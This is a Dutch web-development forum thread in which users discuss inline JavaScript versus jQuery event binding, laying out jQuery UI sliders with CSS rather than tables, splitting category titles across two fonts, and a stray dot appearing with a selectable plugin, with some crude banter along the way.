Stel ik heb een select en daar wil ik een onChange event aanhangen. Dat kan door onChange="javascriptcode" toe te voegen, zal over het algemeen een call naar een javascript functie zijn. Of je kan het via JQuery doen. Heeft het een de voorkeur boven het ander en waarom?
  vrijdag 23 november 2012 @ 16:56:04 #144
12221 Tijn
Powered by MS Paint
pi_119543384
Het is beter om geen javascript in je HTML te zetten.
pi_119543498
Dus de oplossing via JQuery, is dat beter omdat je het dan netjes gescheiden houdt, of zijn er nog andere redenen?
pi_119543726
quote:
0s.gif Op vrijdag 23 november 2012 16:59 schreef Alfje het volgende:
Dus de oplossing via JQuery, is dat beter omdat je het dan netjes gescheiden houdt, of zijn er nog andere redenen?
Dat, en je houdt je HTML compacter. (ergo: laadt sneller, betere pagerank)

Overigens is dat niet perse een voordeel van jQuery, je kunt ook zonder jQuery gewoon vanuit je script events binden aan elementen. Jquery heeft die methode alleen populair gemaakt door het zo ongelooflijk makkelijk te maken.
pi_119543916
quote:
14s.gif Op vrijdag 23 november 2012 17:05 schreef KomtTijd... het volgende:

[..]

Dat, en je houdt je HTML compacter. (ergo: laadt sneller, betere pagerank)

Overigens is dat niet perse een voordeel van jQuery, je kunt ook zonder jQuery gewoon vanuit je script events binden aan elementen. Jquery heeft die methode alleen populair gemaakt door het zo ongelooflijk makkelijk te maken.
Dank, ik wist dat het ook "gewoon" met javaScript kan, maar inderdaad de JQuery manier is eenvoudig overzichtelijk en bekend.
pi_119548257
quote:
2s.gif Op vrijdag 23 november 2012 16:56 schreef Tijn het volgende:
Het is beter om geen javascript in je HTML te zetten.
Dit is een reactie op Alfje toch? Met dit is toch niets mis?

1
2
3
4
5
6
7
8
<html>
  <head></head>
  <body>
  <script> 
  // javascript 
  </script>
  </body>
</html>
pi_119548333
Weet iemand een goede oplossing om een script voor meerdere sliders op 1 pagina zo kort mogelijk te maken?

SPOILER
Om spoilers te kunnen lezen moet je zijn ingelogd. Je moet je daarvoor eerst gratis Registreren. Ook kun je spoilers niet lezen als je een ban hebt.
Ik zal er even een JSFiddle van maken. :)

[ Bericht 1% gewijzigd door pascal08 op 23-11-2012 19:26:17 ]
pi_119548477
quote:
0s.gif Op vrijdag 23 november 2012 19:17 schreef pascal08 het volgende:

[..]

Dit is een reactie op Alfje toch? Met dit is toch niets mis?
[ code verwijderd ]

Beter hou je je javascript gewoon in een los scriptbestand.
pi_119548507
quote:
14s.gif Op vrijdag 23 november 2012 19:23 schreef KomtTijd... het volgende:

[..]

Beter hou je je javascript gewoon in een los scriptbestand.
Ja, dat heb ik ook. ;)
1<script src=""></script>

Lekker clean. :)
  vrijdag 23 november 2012 @ 19:26:22 #152
84244 Scorpie
Abject en infaam!
pi_119548594
Inline JavaScript brrrrr
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
pi_119548725
quote:
0s.gif Op vrijdag 23 november 2012 19:26 schreef Scorpie het volgende:
Inline JavaScript brrrrr
't is niet perse fout maar als je het nodig hebt is dat vaak wel een teken dat je iets verkeerd doet.
pi_119548914
Meerdere sliders maken is dus niet het probleem; ik wil m'n JavaScript zo kort mogelijk maken. Ik heb al best een hoop geprobeerd en ik kwam aardig dichtbij door met classes te werken en in m'n JavaScript het ID dynamisch te maken, maar dan werden de minima en maxima gereset naar de waarden van een andere slider bij het schuiven van beide sliders.

http://jsfiddle.net/cJnUA/1/
  vrijdag 23 november 2012 @ 19:41:01 #155
12221 Tijn
Powered by MS Paint
pi_119549150
quote:
14s.gif Op vrijdag 23 november 2012 19:30 schreef KomtTijd... het volgende:

[..]

't is niet perse fout maar als je het nodig hebt is dat vaak wel een teken dat je iets verkeerd doet.
Je hebt het nooit nodig, het is puur luiheid.
pi_119550593
quote:
0s.gif Op vrijdag 23 november 2012 19:35 schreef pascal08 het volgende:
Meerdere sliders maken is dus niet het probleem; ik wil m'n JavaScript zo kort mogelijk maken. Ik heb al best een hoop geprobeerd en ik kwam aardig dichtbij door met classes te werken en in m'n JavaScript het ID dynamisch te maken, maar dan werden de minima en maxima gereset naar de waarden van een andere slider bij het schuiven van beide sliders.

http://jsfiddle.net/cJnUA/1/

Hoe krijg ik unieke variabelen voor elke slider? Nu wordt dus elke keer de waarde gereset naar de waarde van de andere slider:

http://jsfiddle.net/cJnUA/2/
pi_119639021
-edit-
I asked God for a bike, but I know God doesn't work that way.
So I stole a bike and asked for forgiveness.
  maandag 26 november 2012 @ 15:06:31 #158
134533 donroyco
dus niet Donroyco
pi_119639131
quote:
0s.gif Op maandag 26 november 2012 15:03 schreef -J-D- het volgende:
Voor jullie een simpele vraag, voor mij een lastige puzzel.
Hoe krijg je op deze pagina een stukje ruimte tussen die nieuwsberichten?
Via Chrome ontdekt dat dat stukje items-leading heet, maar als ik in die code ga sleutelen, dan verandert er niets tussen de divjes in, maar juist er omheen. Zat wat te stoeien met margin, maar blijkbaar zit ik op de verkeerde weg.
De classes heten leading-0 en leading-1.
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
pi_119639226
quote:
0s.gif Op maandag 26 november 2012 15:06 schreef donroyco het volgende:

[..]

De classes heten leading-0 en leading-1.
Ik zag het al. Dom van me.
I asked God for a bike, but I know God doesn't work that way.
So I stole a bike and asked for forgiveness.
pi_119642764
http://jsfiddle.net/kkKx6/1/

Hoe krijg ik deze sliders in een tabelvorm?

Als ik th tags gebruik dan verdwijnen de sliders. Ik denk zelf dat het komt omdat $(this).parent() dan naar de verkeerde tags wijst, maar ik zou niet weten wat de juiste syntax is om weer naar span te verwijzen tussen de th-tags.

Kan iemand mij een zetje in de goede richting geven?
pi_119643182
Waar zijn je <td>'s?
pi_119643329
quote:
14s.gif Op maandag 26 november 2012 17:01 schreef picodealion het volgende:
Waar zijn je <td>'s?
Ik gebruik elke keer dit setje:

1
2
3
4
<tr>
  <th></th>
  <th></th>
</tr>

De tabel heeft geen hoofdrij.

De tags heb ik weggelaten, omdat je de sliders anders niet meer ziet. ^O^
pi_119643363
quote:
0s.gif Op maandag 26 november 2012 17:05 schreef pascal08 het volgende:

[..]

Ik gebruik elke keer dit setje:
[ code verwijderd ]

De tabel heeft geen hoofdrij.
...da's anders niet wat op je jsfiddle sample staat.

En als je geen hoofdrij hebt, waarom gebruik je dan wel th's?
pi_119643391
quote:
14s.gif Op maandag 26 november 2012 17:06 schreef KomtTijd... het volgende:

[..]

...da's anders niet wat op je jsfiddle sample staat.

En als je geen hoofdrij hebt, waarom gebruik je dan wel th's?
Ik zou ook kunnen zeggen dat ik alleen maar hoofdrijen gebruik. Maakt dat uit?
pi_119643445
Euh. Ja?

Als je platte tekst hebt zonder opmaak, ga je dat toch ook niet ineens in een <h2> tag zetten ipv <p> ?

Maar zolang je beiden niet gebruikt is je HTML sowieso invalid en kun je dus de raarste dingen verwachten.
pi_119643510
quote:
14s.gif Op maandag 26 november 2012 17:09 schreef KomtTijd... het volgende:
Euh. Ja?

Als je platte tekst hebt zonder opmaak, ga je dat toch ook niet ineens in een <h2> tag zetten ipv <p> ?
Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.
  maandag 26 november 2012 @ 17:12:47 #167
12221 Tijn
Powered by MS Paint
pi_119643562
quote:
0s.gif Op maandag 26 november 2012 17:11 schreef pascal08 het volgende:

[..]

Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.
Mensen met een screenreader worden er niet blij van als je alles in th's zet. Daar staat normaal gesproken de beschrijving van een rij of kolom in.
pi_119643571
quote:
0s.gif Op maandag 26 november 2012 17:11 schreef pascal08 het volgende:

[..]

Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.
Dan zou ik zeggen: Doe dat.
pi_119643628
quote:
14s.gif Op maandag 26 november 2012 17:12 schreef KomtTijd... het volgende:

[..]

Dan zou ik zeggen: Doe dat.
Dat is nou juist het probleem. Als ik dat doe dan klopt de javascript code niet meer. Mijn vraag is dus of iemand weet hoe ik iets tussen de span-tags kan printen als er th/td-tags om de span-tags staan.
pi_119643822
Ik zal m'n vraag even helemaal opnieuw stellen.

Hoe krijg ik deze sliders in tabelvorm?

http://jsfiddle.net/kkKx6/3/
pi_119643963
quote:
Komt in de buurt. Ik vergat nog te zeggen dat ik het in deze vorm wil:

Slider1..........1-99..........*slider1*
Slider2..........1-99..........*slider2*

8)7
pi_119643993
En dat moeten wij maar ff voor je doen? Je mag mailen voor een offerte.
pi_119644048
quote:
14s.gif Op maandag 26 november 2012 17:24 schreef KomtTijd... het volgende:
En dat moeten wij maar ff voor je doen? Je mag mailen voor een offerte.
Is dat de standaard procedure hier?
pi_119644076
De standaard procedure hier is dat je eerst zelf iets probeert, en dan om hulp vraagt met wat er niet lukt. Dat is iets anders dan, "hoi, maak dit eens voor me"
  maandag 26 november 2012 @ 17:27:25 #176
134533 donroyco
dus niet Donroyco
pi_119644085
quote:
0s.gif Op maandag 26 november 2012 17:26 schreef pascal08 het volgende:

[..]

Is dat de standaard procedure hier?
Soms. Je bent nu al op de goede weg, de rest moet je nu zelf kunnen.
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
pi_119644145
quote:
14s.gif Op maandag 26 november 2012 17:27 schreef KomtTijd... het volgende:
De standaard procedure hier is dat je eerst zelf iets probeert, en dan om hulp vraagt met wat er niet lukt. Dat is iets anders dan, "hoi, maak dit eens voor me"
Jij denkt dat ik het vraag omdat ik te lui ben? Dit kost me meer tijd dan even simpel een paar <td> tags om de code heen te zetten.
pi_119644160
...waar wacht je dan op?
  maandag 26 november 2012 @ 17:31:33 #179
123869 Merkie
Surprisingly contagious
pi_119644233
Vervang:
1.ui-slider { position: relative; text-align: left; }
Door:
1.ui-slider { position: relative; text-align: left; display: inline-block; width: <noem een getal>px}

Een <div>-element heeft als standaard-stijl "display: block", wat betekent dat het element de volledige breedte inneemt waardoor er dus niets naast kan staan. Door bijv. "display: inline-block" te geven neemt het <div>-element niet meer de volledige breedte in. Je moet dan nog wel even handmatig de breedte specificeren.
2000 light years from home
pi_119644238
quote:
14s.gif Op maandag 26 november 2012 17:29 schreef KomtTijd... het volgende:
...waar wacht je dan op?
Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.

Ik zou alles kunnen posten wat ik al geprobeerd heb, maar ik ben slim genoeg om uit het juiste antwoord op te maken wat ik verkeerd deed.
  maandag 26 november 2012 @ 17:32:35 #181
134533 donroyco
dus niet Donroyco
pi_119644265
quote:
0s.gif Op maandag 26 november 2012 17:31 schreef pascal08 het volgende:

[..]

Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.
Ze verdwijnen omdat de JavaScript alleen functioneert als de divs bij elkaar staan.
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
pi_119644271
quote:
0s.gif Op maandag 26 november 2012 17:31 schreef Merkie het volgende:
Vervang:
[ code verwijderd ]

Door:
[ code verwijderd ]

^O^

Dat kan ja, maar ik wil het liever in een HTML-tabel.
pi_119644278
quote:
0s.gif Op maandag 26 november 2012 17:31 schreef pascal08 het volgende:

[..]

Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.

Ik zou alles kunnen posten wat ik al geprobeerd heb, maar ik ben slim genoeg om uit het juiste antwoord op te maken wat ik verkeerd deed.
En waarom moeten wij dat uit de lucht raden, terwijl jij zelf gewoon je console open kunt zetten? Is dit een soort quiz?
  maandag 26 november 2012 @ 17:33:28 #184
134533 donroyco
dus niet Donroyco
pi_119644291
quote:
0s.gif Op maandag 26 november 2012 17:32 schreef pascal08 het volgende:

[..]

^O^

Dat kan ja, maar ik wil het liever in een HTML-tabel.
Waarom een tabel gebruiken. Dat doe je alleen voor tabulaire gegevens.
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
  maandag 26 november 2012 @ 17:33:42 #185
123869 Merkie
Surprisingly contagious
pi_119644298
quote:
0s.gif Op maandag 26 november 2012 17:32 schreef pascal08 het volgende:

[..]

^O^

Dat kan ja, maar ik wil het liever in een HTML-tabel.
1
2
3
4
5
6
7
8
9
10
11
12
<table>
<tr>
<td>kolom1</td>
<td>kolom2</td>
<td>kolom3</td>
</tr>
<tr>
<td>kolom1</td>
<td>kolom2</td>
<td>kolom3</td>
</tr>
</table>
2000 light years from home
pi_119644320
quote:
0s.gif Op maandag 26 november 2012 17:32 schreef donroyco het volgende:

[..]

Ze verdwijnen omdat de JavaScript alleen functioneert als de divs bij elkaar staan.
Ah ok, dan wordt het dus lastig om dit in tabelvorm te krijgen. :{
pi_119644343
quote:
0s.gif Op maandag 26 november 2012 17:33 schreef donroyco het volgende:

[..]

Waarom een tabel gebruiken. Dat doe je alleen voor tabulaire gegevens.
In dat geval is Merkie zijn eerste antwoord dus handiger dan een tabel?

Zo dus: http://jsfiddle.net/kkKx6/4/
  maandag 26 november 2012 @ 17:37:45 #188
134533 donroyco
dus niet Donroyco
pi_119644411
quote:
0s.gif Op maandag 26 november 2012 17:35 schreef pascal08 het volgende:

[..]

In dat geval is Merkie zijn eerste antwoord dus handiger dan een tabel?

Zo dus: http://jsfiddle.net/kkKx6/4/
Yes.
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
  maandag 26 november 2012 @ 17:38:33 #189
123869 Merkie
Surprisingly contagious
pi_119644435
quote:
0s.gif Op maandag 26 november 2012 17:34 schreef pascal08 het volgende:

[..]

Ah ok, dan wordt het dus lastig om dit in tabelvorm te krijgen. :{
Doe het gewoon met CSS?

http://jsfiddle.net/kkKx6/8/
2000 light years from home
pi_119644451
quote:
0s.gif Op maandag 26 november 2012 17:37 schreef donroyco het volgende:

[..]

Yes.
Thanks. Ik zat helemaal in een tunnelvisie met die tabel, omdat Bootstrap een mooi tabelletje genereert met een simpele code. Ik zal nu dus even uit moeten vogelen hoe ik hetzelfde effect krijg zonder Bootstrap.
pi_119644563
quote:
14s.gif Op maandag 26 november 2012 17:40 schreef KomtTijd... het volgende:
Ik zou zeggen ga dit topic eens doorlezen:
DIG / Kijk hier als je snel een oplossing wil voor je probleem
Ik heb m'n probleem hier veel sneller opgelost, maar toch bedankt. ^O^
pi_119644611
Als je gewoon gelijk had verteld wat je wou, had je binnen 3 seconden je antwoord gekregen.
Of sterker nog: dan had je deze vraag misschien nieteens gesteld omdat je het zelf al opgelost had.
pi_119644849
quote:
14s.gif Op maandag 26 november 2012 17:44 schreef KomtTijd... het volgende:
Als je gewoon gelijk had verteld wat je wou, had je binnen 3 seconden je antwoord gekregen.
Of sterker nog: dan had je deze vraag misschien nieteens gesteld omdat je het zelf al opgelost had.
Als je een aantal posts terugleest dan zie je dat ik hier eerder een vraag had gesteld hoe ik meerdere sliders met 1 code kon aansturen. Uiteindelijk heb ik dat helemaal zelf (goed hè? ;) ) opgelost.

Sorry, dat ik niet in 1 keer de vraag juist formuleerde. Sorry, dat ik niet kan programmeren en constant hier om hulp vraag. Sorry, dat ik geen interesse heb om te betalen om problemen opgelost te krijgen. En normaals sorry dat ik die hele focking HTML code verneukte met m'n stomme <th> tags. Echt, sorry...
pi_119645041
Als je ergens sorry voor wilt zeggen, zeg dan sorry voor het feit dat je iedere keer in dezelfde valkuil loopt. Maar blijf er gerust lekker in lopen, dan zullen we hier onze haren uit ons hoofd blijven trekken om alleen maar je probleem duidelijk te krijgen, waarna je het zelf makkelijk kunt oplossen.
pi_119645145
quote:
14s.gif Op maandag 26 november 2012 17:56 schreef KomtTijd... het volgende:
Als je ergens sorry voor wilt zeggen, zeg dan sorry voor het feit dat je iedere keer in dezelfde valkuil loopt. Maar blijf er gerust lekker in lopen, dan zullen we hier onze haren uit ons hoofd blijven trekken om alleen maar je probleem duidelijk te krijgen, waarna je het zelf makkelijk kunt oplossen.
Ik zou zeggen: negeer mijn posts lekker, want jij hebt geen interesse om mijn probleem op te lossen en ik heb geen interesse in jouw antwoord. Merkie kwam met z'n eerste post al gelijk met een antwoord waar ik wat aan had, dus schijnbaar was mijn vraagstelling dus toch niet zo slecht. ^O^
pi_119645213
quote:
0s.gif Op maandag 26 november 2012 17:59 schreef pascal08 het volgende:

[..]

Ik zou zeggen: negeer mijn posts lekker, want jij hebt geen interesse om mijn probleem op te lossen en ik heb geen interesse in jouw antwoord. Merkie kwam met z'n eerste post al gelijk met een antwoord waar ik wat aan had, dus schijnbaar was mijn vraagstelling dus toch niet zo slecht. ^O^
Die komt pas way na deze reactie, die er zonder mijn pogingen nooit gekomen was:
quote:
0s.gif Op maandag 26 november 2012 17:23 schreef pascal08 het volgende:

[..]

Komt in de buurt. Ik vergat nog te zeggen dat ik het in deze vorm wil:

Slider1..........1-99..........*slider1*
Slider2..........1-99..........*slider2*

8)7
Maar ik zal je voortaan negeren, succes met oplossingen vinden voor problemen waarvan niemand het vraagstuk weet :*
pi_119645265
quote:
14s.gif Op maandag 26 november 2012 18:01 schreef KomtTijd... het volgende:

[..]

Die komt pas way na deze reactie, die er zonder mijn pogingen nooit gekomen was:

[..]

Maar ik zal je voortaan negeren, succes met oplossingen vinden voor problemen waarvan niemand het vraagstuk weet :*
^O^
pi_119646707
Zand in je kutje KomtTijd?
  maandag 26 november 2012 @ 19:00:54 #200
123869 Merkie
Surprisingly contagious
pi_119647330
quote:
0s.gif Op maandag 26 november 2012 17:38 schreef Merkie het volgende:

[..]

Doe het gewoon met CSS?

http://jsfiddle.net/kkKx6/8/
Hier had ik al de oplossing gepost he, voor de duidelijkheid.
2000 light years from home
  maandag 26 november 2012 @ 19:59:05 #201
299167 stefanhaan
Bloeddorstige wasbeer
pi_119649712
Mensen niet haten, programmeer liefde.
It was an opportunity to honour our memories and to make room for new ones
  maandag 26 november 2012 @ 20:02:06 #202
84244 Scorpie
Abject en infaam!
pi_119649880
Noobies wat meer hun best doen pro's wat minder haten en iedereen blij.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
pi_119650114
quote:
0s.gif Op maandag 26 november 2012 20:02 schreef Scorpie het volgende:
Noobies wat meer hun best doen pro's wat minder haten en iedereen blij.
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen. ;(
pi_119650139
quote:
0s.gif Op maandag 26 november 2012 19:00 schreef Merkie het volgende:

[..]

Hier had ik al de oplossing gepost he, voor de duidelijkheid.
Ik ga zo wel even posten wat ik ervan gemaakt heb, mogen jullie het weer afblaffen. :D
  maandag 26 november 2012 @ 20:19:38 #205
12221 Tijn
Powered by MS Paint
pi_119650680
quote:
0s.gif Op maandag 26 november 2012 20:07 schreef pascal08 het volgende:

[..]

Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen. ;(
Dat je struikelt over de simpelste dingen, komt omdat je niet de tijd neemt om de technologiën die je hanteert echt te doorgronden. Je wil vanaf niks in een paar weken gelijk iets bouwen, dat gaat gewoon niet.
  maandag 26 november 2012 @ 20:39:10 #206
84244 Scorpie
Abject en infaam!
pi_119651730
quote:
0s.gif Op maandag 26 november 2012 20:07 schreef pascal08 het volgende:

[..]

Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen. ;(
Je struikelt omdat je probeert te rennen. Voordat je kunt lopen en daarna kunt rennen die je te kunnen kruipen.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
pi_119652919
quote:
2s.gif Op maandag 26 november 2012 20:19 schreef Tijn het volgende:

[..]

Dat je struikelt over de simpelste dingen, komt omdat je niet de tijd neemt om de technologiën die je hanteert echt te doorgronden. Je wil vanaf niks in een paar weken gelijk iets bouwen, dat gaat gewoon niet.
Weet ik ook wel, maar het is niet de moeite waard om alles te doorgronden voor mijn doel. Zoals het nu gaat, met een beetje hulp van dit forum kom ik er wel. Lekker boeien of het dan niet perfect is, als het maar doet wat het moet doen. :D
pi_119653033
quote:
7s.gif Op maandag 26 november 2012 20:39 schreef Scorpie het volgende:

[..]

Je struikelt omdat je probeert te rennen. Voordat je kunt lopen en daarna kunt rennen die je te kunnen kruipen.
Deze kan zo in het rijtje Cruijffiaanse uitspraken. _O- Maar ik snap je punt. :D
  maandag 26 november 2012 @ 21:08:22 #209
12221 Tijn
Powered by MS Paint
pi_119653408
quote:
0s.gif Op maandag 26 november 2012 20:59 schreef pascal08 het volgende:

[..]

Weet ik ook wel, maar het is niet de moeite waard om alles te doorgronden voor mijn doel. Zoals het nu gaat, met een beetje hulp van dit forum kom ik er wel. Lekker boeien of het dan niet perfect is, als het maar doet wat het moet doen. :D
Je moet zelf weten hoe je het aanpakt, maar er wordt al zoveel geprutst op het web dat professionele ontwikkelaars er soms een beetje moedeloos van worden als iemand er weer een potje van maakt. Natuurlijk kun je hier je vragen kwijt, maar probeer in elk geval een beetje achtergrondinformatie in te winnen over de onderwerpen waar je niet uit komt, want weten waar je mee bezig bent is de beste manier om problemen te voorkomen.
pi_119653720
quote:
2s.gif Op maandag 26 november 2012 21:08 schreef Tijn het volgende:

[..]

Je moet zelf weten hoe je het aanpakt, maar er wordt al zoveel geprutst op het web dat professionele ontwikkelaars er soms een beetje moedeloos van worden als iemand er weer een potje van maakt. Natuurlijk kun je hier je vragen kwijt, maar probeer in elk geval een beetje achtergrondinformatie in te winnen over de onderwerpen waar je niet uit komt, want weten waar je mee bezig bent is de beste manier om problemen te voorkomen.
Dat snap ik volledig. Als mensen een potje maken van mijn vakgebied kan ik ook heel boos worden. Het is vaak lachwekkend om te zien hoe sommige mensen te werk gaan. Echter moet je niet vergeten dat dit om een privé-projectje gaat waar het woord "professioneel" in de verste verte niet te bekennen valt. Ik hoopte hier gewoon simpele, maar doeltreffende oplossingen te vinden van mensen die wél weten hoe je een probleem professioneel oplost.
  maandag 26 november 2012 @ 21:28:14 #211
12221 Tijn
Powered by MS Paint
pi_119654415
Dat er veel amateurs zijn die met veel enthousiasme en plezier hun best doen om iets te ontwikkelen op het web, is ook iets waar professionals begrip voor moeten kunnen opbrengen. Het feit dat elke gebruiker van het web zonder al teveel drempels ook zelf iets kan ontwikkelen, is juist de kracht en de charme van het hele systeem.
pi_119655046
quote:
14s.gif Op maandag 26 november 2012 21:28 schreef Tijn het volgende:
Dat er veel amateurs zijn die met veel enthousiasme en plezier hun best doen om iets te ontwikkelen op het web, is ook iets waar professionals begrip voor moeten kunnen opbrengen. Het feit dat elke gebruiker van het web zonder al teveel drempels ook zelf iets kan ontwikkelen, is juist de kracht en de charme van het hele systeem.
Dat dacht ik ook. ;)
pi_119691147
Ok mensen, ik heb een vraag. Een klant wil voor een Wordpress design dat ik titels van categorieën enzo in twee fonts doe. Ze zijn altijd twee woorden, steeds het eerste woord font 1 en het tweede woord font 2.

Helaas is er niet zoiets als :first-word, dus ik neem aan dat ik maar gewoon met js achteraf de categorie moet splitten en er spans met classes omheen moet zetten? Of weet iemand een betere oplossing?
  dinsdag 27 november 2012 @ 22:29:40 #214
12221 Tijn
Powered by MS Paint
pi_119692629
Je kunt denk ik beter met PHP op de server de categorienamen splitten en de spans er omheen zetten. Met JS het font wisselen gaat denk ik voor een FOUT zorgen.
pi_119692851
Hmm, misschien is dat wel beter ja. Ik doe dit soort dingen liever aan de front-end, maar dat is voor de gebruiker wel fijner.
  dinsdag 27 november 2012 @ 22:36:32 #216
230788 n8n
Pragmatisch
pi_119693051
Categorieën zitten niet in links? Kan je dan apart selecteren met css
Specialization is for insects”.—Robert Heinlein
pi_119693121
Jawel, maar hoe helpt dat?
pi_119693713
je zou bijv.:before { content:attr(data-firstword)} en :after {content:attr(data-lastword)} kunnen gebruiken, maar dat zou wel erg een hack om de hack zijn, dan zou ik liever voor een extra span kiezen.

(dit even er vanuit gaande dat je serverside iets van parsing doet)
pi_119694893
Hmm, mooie oplossing opzich, maar ik denk dat ik dan inderdaad liever voor een onsemantisch spannetje ga.
pi_119698109
quote:
14s.gif Op dinsdag 27 november 2012 23:08 schreef picodealion het volgende:
Hmm, mooie oplossing opzich, maar ik denk dat ik dan inderdaad liever voor een onsemantisch spannetje ga.
Dat geeft je wel de beste garantie dat het ook nog voor iedereen gewoon leesbaar blijft. Wat toch uiteindelijk het allerbelangrijkste is.
pi_119764176
Hey, KomtTijd, alles goed? ;) Ik heb weer een vervelende vraag (en nóg onduidelijker dan de vorige).

Ik heb de selectable plugin van jQuery UI gebruikt om een selectable grid-systeem te maken. Als ik de code 1-op-1 kopieer in een leeg "document", dan werkt het prima. Nu wil ik de code ook gebruiken in mijn "document" (en dan werkt het ook). Echter na een onbekende handeling verschijnt er een puntje in beeld. Ik weet dus niet waardoor dit getriggerd wordt.



Het vervelende is dus dat ik er geen JSFiddle van kan maken, omdat het probleem dan niet ontstaat. Ik zou natuurlijk m'n hele project kunnen kopiëren, maar dat houdt ik liever alleen voor mezelf. De vraag is dan ook of jullie een vermoeden hebben waardoor de puntje steeds zichtbaar wordt. Na het triggeren van het puntje, verschijnt ie altijd in dezelfde hoogte boven de cursor en alleen bij het klikken. Als ik de pagina dan refresh is 'ie weer weg, maar na de onbekende handeling verschijnt 'ie weer, alleen dan weer in een andere hoogte boven de cursor.

Zelf dacht ik dat het misschien het puntje van een li was, maar met "list-style-type: none;" lijkt 'ie niet weg te gaan. Chrome geeft bij het klikken wel een helper-class weer die wellicht het probleem veroorzaakt. Hebben jullie enig idee wat dit puntje is? :P
  donderdag 29 november 2012 @ 22:21:55 #222
12221 Tijn
Powered by MS Paint
pi_119764271
Kijk met je Inspector?
pi_119764302
quote:
2s.gif Op donderdag 29 november 2012 22:21 schreef Tijn het volgende:
Kijk met je Inspector?
Bedoel je Element Inspect van Chrome? :@ Ja, die gebruik ik.
  donderdag 29 november 2012 @ 22:23:05 #224
12221 Tijn
Powered by MS Paint
pi_119764321
quote:
0s.gif Op donderdag 29 november 2012 22:22 schreef pascal08 het volgende:

[..]

Bedoel je Element Inspect van Chrome? :@ Ja, die gebruik ik.
En wat zie je als je dan het puntje selecteert?
pi_119764361
quote:
2s.gif Op donderdag 29 november 2012 22:23 schreef Tijn het volgende:

[..]

En wat zie je als je dan het puntje selecteert?
Het puntje kan ik niet selecteren. Het verschijnt altijd op een bepaalde hoogte boven de cursor bij het klikken.
pi_119764396
Waarom heb je hier überhaupt jQuery voor nodig? Dit kan toch gewoon in CSS?
  donderdag 29 november 2012 @ 22:25:48 #227
12221 Tijn
Powered by MS Paint
pi_119764471
quote:
0s.gif Op donderdag 29 november 2012 22:23 schreef pascal08 het volgende:

[..]

Het puntje kan ik niet selecteren.
Weet je dat zeker? Heb je de gegenereerde HTML bekeken?

Anders is het misschien een glitch. Heb je het met andere browsers ook?
pi_119764477
quote:
5s.gif Op donderdag 29 november 2012 22:24 schreef picodealion het volgende:
Waarom heb je hier überhaupt jQuery voor nodig? Dit kan toch gewoon in CSS?
Ik wil straks met jQuery gegevens versturen. Kan dat ook anders dan? Waarom is deze plugin er dan?

[ Bericht 2% gewijzigd door pascal08 op 29-11-2012 22:30:57 ]
pi_119764510
quote:
2s.gif Op donderdag 29 november 2012 22:25 schreef Tijn het volgende:

[..]

Weet je dat zeker? Heb je de gegenereerde HTML bekeken?

Anders is het misschien een glitch. Heb je het met andere browsers ook?
Ja, die heb ik bekeken. Er valt mij niets vreemds op. Ik zal nu kijken of ik het ook kan triggeren met Firefox.
pi_119764634
In Firefox zie ik 'm ook, maar dan ziet het er zo uit:

  donderdag 29 november 2012 @ 22:32:58 #231
12221 Tijn
Powered by MS Paint
pi_119764804
Ik zou toch even goed kijken of er niet een element is dat daarvoor zorgt. Anders zit er weinig anders op dan het online te zetten zodat we kunnen meekijken, want op de gok lossen we natuurlijk niks op :P
pi_119764927
quote:
2s.gif Op donderdag 29 november 2012 22:32 schreef Tijn het volgende:
Ik zou toch even goed kijken of er niet een element is dat daarvoor zorgt. Anders zit er weinig anders op dan het online te zetten zodat we kunnen meekijken, want op de gok lossen we natuurlijk niks op :P
Nee, dat snap ik. Ik hoopte dat het een bekend probleem is. Zonder code wordt het natuurlijk gewoon gokken als je dit probleem niet eerder hebt gezien. Ik zal eens kijken of ik het kan reproduceren in een fiddle, momentje. ;)
  donderdag 29 november 2012 @ 22:36:42 #233
12221 Tijn
Powered by MS Paint
pi_119764974
Ik begrijp trouwens ook niet helemaal waarom je hier zo'n plugin voor nodig hebt.
pi_119765269
quote:
2s.gif Op donderdag 29 november 2012 22:36 schreef Tijn het volgende:
Ik begrijp trouwens ook niet helemaal waarom je hier zo'n plugin voor nodig hebt.
